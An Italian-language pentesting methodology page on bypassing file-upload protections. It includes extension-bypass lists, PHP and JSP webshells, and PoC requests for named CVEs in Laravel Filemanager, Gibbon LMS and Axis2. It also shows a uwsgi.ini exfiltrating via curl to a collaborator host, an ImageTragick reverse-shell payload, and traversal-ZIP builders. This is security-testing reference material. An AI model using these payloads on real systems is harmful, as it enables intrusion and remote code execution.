Caricamento file

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Metodologia generale per il caricamento di file

Altre estensioni utili:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypassare i controlli sulle estensioni dei file

  1. Se applicabile, controlla le estensioni precedenti. Testale anche usando alcune lettere maiuscole: pHp, .pHP5, .PhAr …
  2. Controlla l’aggiunta di un’estensione valida prima dell’estensione eseguibile (usa anche le estensioni precedenti):
  • file.png.php
  • file.png.Php5
  1. Prova ad aggiungere caratteri speciali alla fine. Puoi usare Burp per bruteforceare tutti i caratteri ascii e Unicode. (Nota: puoi anche provare ad usare le estensioni menzionate precedentemente)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php….
  • file.pHp5….
  1. Prova a bypassare le protezioni ingannando il parser delle estensioni lato server con tecniche come il raddoppio dell’estensione o l’inserimento di junk (byte null) tra le estensioni. Puoi anche usare le estensioni precedenti per preparare un payload migliore.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Aggiungi un altro livello di estensioni al controllo precedente:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Prova a mettere l’estensione eseguibile prima dell’estensione valida e spera che il server sia mal configurato. (utile per sfruttare misconfigurazioni Apache dove qualsiasi file con estensione .php, anche se non termina con .php, eseguirà codice):
  • ex: file.php.png
  1. Uso di NTFS alternate data stream (ADS) in Windows. In questo caso, verrà inserito un carattere due punti “:” dopo un’estensione proibita e prima di una permessa. Di conseguenza, verrà creato sul server un file vuoto con l’estensione proibita (es. “file.asax:.jpg”). Questo file potrebbe essere modificato successivamente usando altre tecniche come l’uso del suo short filename. Il pattern “::$data” può anche essere usato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo pattern potrebbe essere utile per bypassare ulteriori restrizioni (es. “file.asp::$data.”)
  2. Prova a superare i limiti del nome file. L’estensione valida viene troncata. E il PHP malevolo rimane. AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Alcuni upload handler rimuovono o normalizzano i caratteri punto finali dal nome del file salvato. In UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) nelle versioni precedenti alla 2.9.1, è possibile bypassare la validazione delle estensioni:

  • Usando un MIME immagine valido e il magic header (es., il \x89PNG\r\n\x1a\n di PNG).
  • Nominando il file caricato con un’estensione PHP seguita da un punto, es., shell.php..
  • Il server rimuove il punto finale e persiste shell.php, che verrà eseguito se viene posizionato in una directory servita dal web (storage pubblico di default come /storage/files/).

PoC minimale (Burp Repeater):

POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

Poi accedi al percorso salvato (tipico in Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type checks impostando il value dell’header Content-Type su: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass magic number check aggiungendo all’inizio del file i bytes of a real image (confondi il comando file). Oppure inserisci la shell nei metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ oppure puoi anche introdurre il payload direttamente in un’immagine:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Se alla tua immagine viene applicata una compression, per esempio usando librerie PHP standard come PHP-GD, le tecniche precedenti non saranno utili. Tuttavia, puoi usare il PLTE chunk technique defined here per inserire del testo che sopravvive alla compressione.
  • Github with the code
  • La pagina web potrebbe anche essere resizing dell’image, usando per esempio le funzioni PHP-GD imagecopyresized o imagecopyresampled. Tuttavia, puoi usare l’IDAT chunk technique defined here per inserire del testo che sopravvive alla compressione.
  • Github with the code
  • Un’altra tecnica per creare un payload che sopravvive a un ridimensionamento dell’immagine, usando la funzione PHP-GD thumbnailImage. Tuttavia, puoi usare il tEXt chunk technique defined here per inserire del testo che sopravvive alla compressione.
  • Github with the code

Other Tricks to check

  • Trova una vulnerabilità per rinominare il file già caricato (per cambiare l’estensione).
  • Trova una vulnerabilità Local File Inclusion per eseguire la backdoor.
  • Possibile divulgazione di informazioni:
  1. Carica più volte (e nello stesso momento) lo stesso file con lo stesso nome
  2. Carica un file con il nome di un file o folder che esiste già
  3. Caricare un file con “.” , “..”, or “…” as its name. Per esempio, in Apache su Windows, se l’applicazione salva i file uploadati nella directory “/www/uploads/” directory, il filename “.” creerà un file called uploads” in the “/www/” directory.
  4. Carica un file che potrebbe non essere facilmente cancellabile come “…:.jpg” in NTFS. (Windows)
  5. Carica un file in Windows con invalid characters such as |<>*?” nel suo nome. (Windows)
  6. Carica un file in Windows usando reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Prova anche a caricare un eseguibile (.exe) o un .html (meno sospetto) che eseguirà codice quando aperto accidentalmente dalla vittima.

Special extension tricks

Se stai cercando di caricare file su un PHP server, take a look at the .htaccess trick to execute code.
Se stai cercando di caricare file su un ASP server, take a look at the .config trick to execute code.

I file .phar sono come i .jar per java, ma per php, e possono essere used like a php file (eseguirli con php, o includerli dentro uno script…)

L’estensione .inc è a volte usata per file php che sono usati solo per import files, quindi, ad un certo punto, qualcuno potrebbe aver permesso this extension to be executed.

Jetty RCE

Se riesci a caricare un file XML in un server Jetty puoi ottenere RCE because **new .xml and .war are automatically processed. Quindi, come mostrato nell’immagine seguente, carica il file XML in $JETTY_BASE/webapps/ e aspetta la shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Per un’esplorazione dettagliata di questa vulnerabilità controlla la ricerca originale: uWSGI RCE Exploitation.

Le vulnerabilità di Remote Command Execution (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione .ini. I file di configurazione uWSGI utilizzano una sintassi specifica per incorporare variabili “magiche”, placeholder e operatori. In particolare, l’operatore ‘@’, utilizzato come @(filename), è progettato per includere il contenuto di un file. Tra i vari schemes supportati in uWSGI, lo scheme “exec” è particolarmente potente, consentendo la lettura di dati dall’output standard di un processo. Questa funzionalità può essere manipolata per scopi malevoli come Remote Command Execution o Arbitrary File Write/Read quando viene processato un file di configurazione .ini.

Considera il seguente esempio di un file uwsgi.ini dannoso, che mostra vari schemes:

[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

L’esecuzione del payload avviene durante l’analisi del file di configurazione. Perché la configurazione venga attivata e analizzata, il processo uWSGI deve essere riavviato (eventualmente dopo un crash o a causa di un Denial of Service attack) oppure il file deve essere impostato su auto-reload. La funzionalità auto-reload, se abilitata, ricarica il file a intervalli specificati quando rileva modifiche.

È cruciale comprendere la natura permissiva del parsing dei file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un binary file (come un image o PDF), ampliando ulteriormente la portata del possibile sfruttamento.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Un endpoint senza autenticazione in Gibbon LMS permette la scrittura arbitraria di file all’interno della web root, portando a pre-auth RCE tramite il caricamento di un file PHP. Versioni vulnerabili: fino a e incluse 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • Method: POST
  • Required params:
  • img: stringa simile a data-URI: [mime];[name],[base64] (il server ignora type/name, decodifica in base64 la parte finale)
  • path: nome file di destinazione relativo alla Gibbon install dir (es. poc.php o 0xdf.php)
  • gibbonPersonID: qualsiasi valore non vuoto è accettato (es. 0000000001)

Minimal PoC per scrivere e leggere un file:

# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Carica una webshell minimale ed esegui comandi:

# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Note:

  • L’handler esegue base64_decode($_POST["img"]) dopo aver separato per ; e ,, poi scrive i byte in $absolutePath . '/' . $_POST['path'] senza validare l’estensione/il tipo.
  • Il codice risultante viene eseguito come l’utente del servizio web (es., XAMPP Apache su Windows).

Riferimenti per questo bug includono l’advisory usd HeroLab e la voce NVD. Vedi la sezione References qui sotto.

wget File Upload/SSRF Trick

In alcune occasioni potresti trovare che un server sta usando wget per download files e puoi indicare l’URL. In questi casi, il codice può controllare che l’estensione dei file scaricati sia contenuta in una whitelist per assicurarsi che vengano scaricati solo file consentiti. Tuttavia, questa verifica può essere bypassata.
La lunghezza massima di un nome file in linux è 255, tuttavia wget tronca i nomi di file a 236 caratteri. Puoi download a file called “A”*232+“.php”+“.gif”, questo nome file bypasserà la verifica (come in questo esempio “.gif” è un’estensione valida) ma wget rinominerà il file in “A”*232+“.php”.

#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Nota che un’altra opzione a cui potresti pensare per bypassare questo controllo è far sì che l’HTTP server reindirizzi a un file diverso, così l’URL iniziale bypasserà il controllo e poi wget scaricherà il file reindirizzato con il nuovo nome. Questo non funzionerà a meno che wget non venga usato con il parametro --trust-server-names perché wget scaricherà la pagina reindirizzata con il nome del file indicato nell’URL originale.

Evasione della directory di upload tramite NTFS junctions (Windows)

(Per questo attacco avrai bisogno di accesso locale alla macchina Windows) Quando gli upload vengono memorizzati in sottocartelle per utente su Windows (ad es., C:\Windows\Tasks\Uploads<id>) e controlli la creazione/cancellazione di quella sottocartella, puoi sostituirla con una directory junction che punti a una posizione sensibile (ad es., the webroot). Gli upload successivi verranno scritti nel percorso di destinazione, permettendo l’esecuzione di codice se la destinazione interpreta server‑side code.

Esempio di flusso per reindirizzare gli upload nella XAMPP webroot:

:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Note

  • mklink /J creates an NTFS directory junction (reparse point). L’account del web server deve seguire la junction e avere permessi di scrittura nella destinazione.
  • Questo reindirizza scritture arbitrarie su file; se la destinazione esegue script (PHP/ASP), questo diventa RCE.
  • Contromisure: non permettere che writable upload roots siano controllabili dall’attaccante sotto C:\Windows\Tasks o simili; bloccare la creazione di junction; validare le estensioni server-side; memorizzare gli upload su un volume separato o con deny‑execute ACLs.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Some upload/ingest handlers write the raw request body to a filesystem path that is constructed from user-controlled query parameters. If the handler also supports Content-Encoding: gzip and fails to canonicalize/validate the destination path, you can combine directory traversal with a gzipped payload to write arbitrary bytes into a web-served directory and obtain RCE (e.g., drop a JSP under Tomcat’s webapps).

Flusso di sfruttamento generico:

  • Prepara il tuo server-side payload (es., minimal JSP webshell) e comprimi i byte con gzip.
  • Invia una POST dove un parametro di percorso (es., token) contiene traversal che scappa dalla cartella prevista, e file indica il nome del file da salvare. Imposta Content-Type: application/octet-stream e Content-Encoding: gzip; il body è il payload compresso.
  • Visita il file scritto per innescare l’esecuzione.

Esempio di richiesta:

POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

Quindi attiva:

GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Note

  • I percorsi target variano in base all’installazione (ad es., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in alcuni stack). Qualsiasi cartella esposta via web che esegue JSP funzionerà.
  • L’estensione Hackvertor di Burp Suite può produrre un corretto gzip body dal tuo payload.
  • Si tratta di un puro pre-auth arbitrary file write → RCE pattern; non si basa sul multipart parsing.

Mitigazioni

  • Deriva le destinazioni di upload lato server; non fidarti mai dei frammenti di percorso provenienti dai client.
  • Canonicalizza e applica che il percorso risolto rimanga all’interno di una directory di base consentita.
  • Conserva gli upload su un volume non eseguibile e nega l’esecuzione di script da percorsi scrivibili.

Axis2 SOAP uploadFile traversal a Tomcat webroot (JSP drop)

I servizi di upload basati su Axis2 a volte espongono un’azione SOAP uploadFile che accetta tre campi controllati dall’attaccante: jobDirectory (directory di destinazione), archiveName (filename), e dataHandler (contenuto del file in base64). Se jobDirectory non viene canonicalizzato, ottieni un arbitrary file write via path traversal e puoi posizionare un JSP nella webapps di Tomcat.

Minimal request outline (spesso funzionano le credenziali di default: admin / trubiquity):

POST /services/WsPortalV6UpDwAxis2Impl HTTP/1.1
Host: 127.0.0.1
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:updw="http://updw.webservice.ddxPortalV6.ddxv6.procaess.com">
<soapenv:Body>
<updw:uploadFile>
<updw:login>admin</updw:login>
<updw:password>trubiquity</updw:password>
<updw:archiveName>shell.jsp</updw:archiveName>
<updw:jobDirectory>/../../../../opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/</updw:jobDirectory>
<updw:dataHandler>PD8lQCBwYWdlIGltcG9ydD0iamF2YS5pby4qIjsgc3lzdGVtKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSk7Pz4=</updw:dataHandler>
</updw:uploadFile>
</soapenv:Body>
</soapenv:Envelope>
  • I binding sono spesso localhost-only; abbinali a un full-read SSRF (absolute-URL request line, Host header ignored) per raggiungere 127.0.0.1 se la porta Axis2 non è esposta.
  • Dopo la scrittura, naviga su /trufusionPortal/jsp/shell.jsp?cmd=id per eseguire.

Tools

  • Upload Bypass è un potente strumento progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di file upload. Sfrutta varie bug bounty techniques per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, assicurando valutazioni approfondite delle web application.

Corrupting upload indices with snprintf quirks (historical)

Alcuni legacy upload handler che usano snprintf() o simili per costruire array multi-file da un singolo upload possono essere ingannati nel falsificare la struttura _FILES. A causa di incoerenze e troncamenti nel comportamento di snprintf(), un singolo upload creato ad arte può apparire come più file indicizzati lato server, confondendo la logica che assume una forma rigida (es. trattandolo come un upload multi-file e prendendo rami non sicuri). Pur essendo oggi di nicchia, questo pattern di “index corruption” riemerge occasionalmente in CTFs e codebase più vecchie.

From File upload to other vulnerabilities

Here’s a top 10 list of things that you can achieve by uploading (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy \xc2\xb7 GitHub

Magic Header Bytes

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.

Zip/Tar File Automatically decompressed Upload

Se puoi caricare uno ZIP che verrà decompressato sul server, puoi fare 2 cose:

Carica un archivio contenente soft links a altri file; poi, accedendo ai file decompressi accederai ai file linkati:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Decomprimere in cartelle diverse

La creazione inaspettata di file nelle directory durante la decompressione è un problema significativo. Nonostante si possa pensare che questa configurazione protegga dall’OS-level command execution tramite malicious file uploads, il supporto alla compressione gerarchica e le capacità di directory traversal del formato di archivio ZIP possono essere sfruttate. Questo permette agli attackers di bypassare le restrizioni e uscire dalle secure upload directories manipolando la funzionalità di decompressione dell’applicazione target.

An automated exploit to craft such files is available at evilarc on GitHub. The utility can be used as shown:

# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Inoltre, la symlink trick with evilarc è un’opzione. Se l’obiettivo è mirare a un file come /flag.txt, dovrebbe essere creato un symlink a quel file nel tuo sistema. Questo assicura che evilarc non incontri errori durante il suo funzionamento.

Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip malevolo:

#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusare della compressione per file spraying

Per ulteriori dettagli consulta il post originale su: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Creating a PHP Shell: Codice PHP scritto per eseguire comandi passati tramite la variabile $_REQUEST.
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: Vengono creati più file e viene assemblato un archivio zip contenente questi file.
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modification with a Hex Editor or vi: I nomi dei file all’interno dello zip vengono modificati usando vi o un hex editor, cambiando “xxA” in “../” per attraversare le directory.
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

When a backend validates ZIP entries using PHP’s ZipArchive but extraction writes to the filesystem using raw names, you can smuggle a disallowed extension by inserting a NUL (0x00) into the filename fields. ZipArchive treats the entry name as a C‑string and truncates at the first NUL; the filesystem writes the full name, dropping everything after the NUL.

Flusso ad alto livello:

  • Prepara un file contenitore legittimo (es. un PDF valido) che incorpora uno stub PHP minuscolo in uno stream in modo che il magic/MIME rimanga PDF.
  • Rinominalo come shell.php..pdf, crea lo zip, poi hex‑edita l’header locale ZIP e il filename nella central directory per sostituire il primo . dopo .php con 0x00, ottenendo shell.php\x00.pdf.
  • I validator che si basano su ZipArchive “vedranno” shell.php .pdf e lo permetteranno; l’estrattore scrive shell.php su disco, portando a RCE se la cartella di upload è eseguibile.

Passaggi minimi PoC:

# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Note

  • Cambia ENTRAMBE le occorrenze del filename (local e central directory). Alcuni strumenti aggiungono anche una voce data descriptor extra — aggiusta tutti i campi name se presenti.
  • Il file payload deve comunque superare il magic/MIME sniffing lato server. Incorporare il PHP in uno stream PDF mantiene l’header valido.
  • Funziona quando il percorso enum/validation e il percorso extraction/write non sono d’accordo sulla gestione delle stringhe.

Stacked/concatenated ZIPs (parser disagreement)

Concatenare due file ZIP validi produce un blob in cui parser diversi si concentrano su record EOCD differenti. Molti tool localizzano l’ultima End Of Central Directory (EOCD), mentre alcune librerie (ad es., ZipArchive in specifici workflow) possono parsare il primo archivio che trovano. Se la validation enumera il primo archivio e l’extraction usa un altro tool che rispetta l’ultima EOCD, un archivio benigno può superare i controlli mentre uno malevolo viene estratto.

PoC:

# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

Abuse pattern

  • Crea un archivio benigno (tipo consentito, e.g., un PDF) e un secondo archivio contenente un’estensione bloccata (e.g., shell.php).
  • Concatenali: cat benign.zip evil.zip > combined.zip.
  • Se il server valida con un parser (vede benign.zip) ma estrae con un altro (processa evil.zip), il file bloccato finisce nel percorso di estrazione.

ImageTragic

Carica questo contenuto con un’estensione di immagine per sfruttare la vulnerabilità (ImageMagick , 7.0.1-1) (dall’exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incorporare PHP shell in PNG

Incorporare una PHP shell nello chunk IDAT di un file PNG può bypassare efficacemente certe operazioni di elaborazione delle immagini. Le funzioni imagecopyresized e imagecopyresampled di PHP-GD sono particolarmente rilevanti in questo contesto, in quanto vengono comunemente utilizzate rispettivamente per il ridimensionamento e il resampling delle immagini. La capacità della PHP shell incorporata di rimanere non interessata da queste operazioni è un vantaggio significativo per alcuni casi d’uso.

Un’esplorazione dettagliata di questa tecnica, inclusa la metodologia e le possibili applicazioni, è fornita nel seguente articolo: “Encoding Web Shells in PNG IDAT chunks”. Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

File Polyglot

I file polyglot fungono da strumento unico in cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file simultaneamente. Un esempio interessante è un GIFAR, un ibrido che funziona sia come GIF sia come archivio RAR. Questi file non sono limitati a questa coppia; sono possibili anche combinazioni come GIF e JS o PPT e JS.

L’utilità principale dei file polyglot risiede nella loro capacità di eludere misure di sicurezza che filtrano i file in base al tipo. Una pratica comune in varie applicazioni consiste nel consentire soltanto alcuni tipi di file per l’upload—come JPEG, GIF o DOC—per mitigare il rischio rappresentato da formati potenzialmente dannosi (es., JS, PHP, o Phar). Tuttavia, un polyglot, conformandosi ai criteri strutturali di più tipi di file, può aggirare queste restrizioni in modo furtivo.

Nonostante la loro adattabilità, i polyglot incontrano dei limiti. Ad esempio, mentre un polyglot potrebbe incarnare simultaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo upload potrebbe dipendere dalle politiche sulle estensioni del sito. Se il sistema è rigoroso riguardo alle estensioni consentite, la sola dualità strutturale di un polyglot potrebbe non essere sufficiente per garantire l’upload.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Caricare JSON validi fingendo siano PDF

How to avoid file type detections by uploading a valid JSON file even if not allowed by faking a PDF file (techniques from this blog post):

  • mmmagic library: Finché i byte magici %PDF si trovano nei primi 1024 byte è considerato valido (vedi esempio nel post)
  • pdflib library: Inserire un formato PDF finto all’interno di un campo del JSON in modo che la libreria lo consideri un PDF (vedi esempio nel post)
  • file binary: Può leggere fino a 1048576 byte da un file. Crea un JSON più grande di tale limite in modo che non riesca a parsare il contenuto come JSON e inserisci all’interno del JSON la parte iniziale di un PDF reale: lo interpreterà come PDF

Content-Type confusion to arbitrary file read

Alcuni upload handlers si fidano del parsed request body (es., context.getBodyData().files) e successivamente copiano il file da file.filepath senza prima imporre Content-Type: multipart/form-data. Se il server accetta application/json, puoi fornire un oggetto files finto con filepath che punta a qualsiasi percorso locale, trasformando il flusso di upload in una primitive di lettura arbitraria di file.

